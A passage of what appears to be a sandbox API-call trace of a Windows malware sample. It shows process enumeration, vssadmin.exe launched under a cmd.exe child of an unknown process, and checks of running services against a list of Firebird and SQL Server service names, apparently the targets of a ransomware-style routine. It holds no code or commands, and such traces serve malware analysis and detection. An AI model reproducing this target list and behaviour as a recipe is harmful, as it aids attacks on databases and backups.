cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0212.286] lstrlenW (lpString="audiodg.exe") returned 11 [0212.286] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.287] lstrlenW (lpString="svchost.exe") returned 11 [0212.287] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.288] lstrlenW (lpString="svchost.exe") returned 11 [0212.288] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0212.289] lstrlenW (lpString="dwm.exe") returned 7 [0212.289] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0212.352] lstrlenW (lpString="explorer.exe") returned 12 [0212.352] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0212.354] lstrlenW (lpString="spoolsv.exe") returned 11 [0212.354] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0212.355] lstrlenW (lpString="taskhost.exe") returned 12 [0212.355] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.356] lstrlenW (lpString="svchost.exe") returned 11 [0212.356] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0212.356] lstrlenW (lpString="taskeng.exe") returned 11 [0212.356] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0212.357] lstrlenW (lpString="taskhost.exe") returned 12 [0212.357] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mineralshopefullyelectronics.exe")) returned 1 [0212.358] lstrlenW (lpString="mineralshopefullyelectronics.exe") returned 32 [0212.358] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ambientmanufacturers.exe")) returned 1 [0212.359] lstrlenW (lpString="ambientmanufacturers.exe") returned 24 [0212.359] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="secretaryscientist.exe")) returned 1 [0212.360] lstrlenW (lpString="secretaryscientist.exe") returned 22 [0212.360] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="musicians_tones_dramatic.exe")) returned 1 [0212.361] lstrlenW (lpString="musicians_tones_dramatic.exe") returned 28 [0212.361] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always_winds.exe")) returned 1 [0212.362] lstrlenW (lpString="always_winds.exe") returned 16 [0212.362] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="heatednetworkingaddress.exe")) returned 1 [0212.363] lstrlenW (lpString="heatednetworkingaddress.exe") returned 27 [0212.363] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="complexity forward jo.exe")) returned 1 [0212.364] lstrlenW (lpString="complexity forward jo.exe") returned 25 [0212.364] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allow_internship_stands.exe")) returned 1 [0212.365] lstrlenW (lpString="allow_internship_stands.exe") returned 27 [0212.365] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="alienwed.exe")) returned 1 [0212.366] lstrlenW (lpString="alienwed.exe") returned 12 [0212.366] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="decent-wind-tuition.exe")) returned 1 [0212.387] lstrlenW (lpString="decent-wind-tuition.exe") returned 23 [0212.387] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="warriorpayroll.exe")) returned 1 [0212.388] lstrlenW (lpString="warriorpayroll.exe") returned 18 [0212.389] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mp beginners.exe")) returned 1 [0212.389] lstrlenW (lpString="mp beginners.exe") returned 16 [0212.389] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="theorem mo ol.exe")) returned 1 [0212.390] lstrlenW (lpString="theorem mo ol.exe") returned 17 [0212.390] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposition-photos-juvenile.exe")) returned 1 [0212.391] lstrlenW (lpString="proposition-photos-juvenile.exe") returned 31 [0212.391] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="harassment.exe")) returned 1 [0212.392] lstrlenW (lpString="harassment.exe") returned 14 [0212.392] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="francis-communication.exe")) returned 1 [0212.393] lstrlenW (lpString="francis-communication.exe") returned 25 [0212.393] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gccinformational.exe")) returned 1 [0212.394] lstrlenW (lpString="gccinformational.exe") returned 20 [0212.394] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="diploma.exe")) returned 1 [0212.394] lstrlenW (lpString="diploma.exe") returned 11 [0212.394] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshots-mistress.exe")) returned 1 [0212.395] lstrlenW (lpString="screenshots-mistress.exe") returned 24 [0212.395] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0212.396] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0212.396] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.397] lstrlenW (lpString="svchost.exe") returned 11 [0212.397] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0212.398] lstrlenW (lpString="sppsvc.exe") returned 10 [0212.398] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.399] lstrlenW (lpString="svchost.exe") returned 11 [0212.399] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="qnuriy.exe")) returned 1 [0212.401] lstrlenW (lpString="qnuriy.exe") returned 10 [0212.401] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0212.402] lstrlenW (lpString="cmd.exe") returned 7 [0212.402] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0212.403] lstrlenW (lpString="conhost.exe") returned 11 [0212.403] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb70, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0212.404] lstrlenW (lpString="vssadmin.exe") returned 12 [0212.404] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0212.405] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0212.405] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0212.467] lstrlenW (lpString="VSSVC.exe") returned 9 [0212.467] Process32NextW (in: hSnapshot=0x1e4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0212.468] CloseHandle (hObject=0x1e4) returned 1 [0212.468] Sleep (dwMilliseconds=0x1f4) [0212.977] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x570150 [0212.977] EnumServicesStatusExW (in: hSCManager=0x570150, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 0 [0212.978] GetLastError () returned 0xea [0212.978] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x13a6) returned 0x3f06078 [0212.978] EnumServicesStatusExW (in: hSCManager=0x570150, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f06078, cbBufSize=0x13a6, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f06078, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 1 [0212.978] CloseServiceHandle (hSCObject=0x570150) returned 1 [0212.978] lstrlenW (lpString="Appinfo") returned 7 [0212.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0212.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0212.978] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0212.978] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0212.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0212.979] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0212.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0212.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0212.979] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0212.979] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0212.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0212.979] lstrlenW (lpString="AudioSrv") returned 8 [0212.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0212.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0212.979] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0212.979] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0212.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0212.979] lstrlenW (lpString="BFE") returned 3 [0212.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0212.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0212.979] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0212.979] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0212.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0212.979] lstrlenW (lpString="CryptSvc") returned 8 [0212.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0212.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0212.979] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0212.979] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0212.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0212.979] lstrlenW (lpString="CscService") returned 10 [0212.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0212.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0212.979] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0212.979] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0212.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0212.980] lstrlenW (lpString="DcomLaunch") returned 10 [0212.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0212.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0212.980] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0212.980] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0212.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0212.980] lstrlenW (lpString="Dhcp") returned 4 [0212.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0212.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0212.980] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0212.980] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0212.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0212.980] lstrlenW (lpString="Dnscache") returned 8 [0212.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0212.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0212.980] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0212.980] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0212.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0212.980] lstrlenW (lpString="DPS") returned 3 [0212.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0212.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0212.980] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0212.980] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0212.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0212.980] lstrlenW (lpString="eventlog") returned 8 [0212.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0212.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0212.980] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0212.980] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0212.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0212.981] lstrlenW (lpString="EventSystem") returned 11 [0212.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0212.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0212.981] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0212.981] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0212.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0212.981] lstrlenW (lpString="FontCache") returned 9 [0212.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0212.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0212.981] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0212.981] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0212.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0212.981] lstrlenW (lpString="gpsvc") returned 5 [0212.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0212.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0212.981] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0212.981] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0212.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0212.981] lstrlenW (lpString="iphlpsvc") returned 8 [0212.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0212.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0212.981] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0212.981] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0212.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0212.981] lstrlenW (lpString="LanmanServer") returned 12 [0212.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0212.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0212.981] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0212.981] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0212.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0212.982] lstrlenW (lpString="LanmanWorkstation") returned 17 [0212.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0212.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0212.982] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0212.982] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0212.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0212.982] lstrlenW (lpString="lmhosts") returned 7 [0212.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0212.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0212.982] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0212.982] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0212.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0212.982] lstrlenW (lpString="MMCSS") returned 5 [0212.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0212.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0212.982] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0212.982] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0212.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0212.982] lstrlenW (lpString="MpsSvc") returned 6 [0212.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0212.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0212.982] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0212.982] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0212.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0212.982] lstrlenW (lpString="Netman") returned 6 [0212.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0212.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0212.982] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0212.982] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0212.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0212.983] lstrlenW (lpString="netprofm") returned 8 [0212.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0212.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0212.983] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0212.983] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0212.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0212.983] lstrlenW (lpString="NlaSvc") returned 6 [0212.983] lstrcmpiW 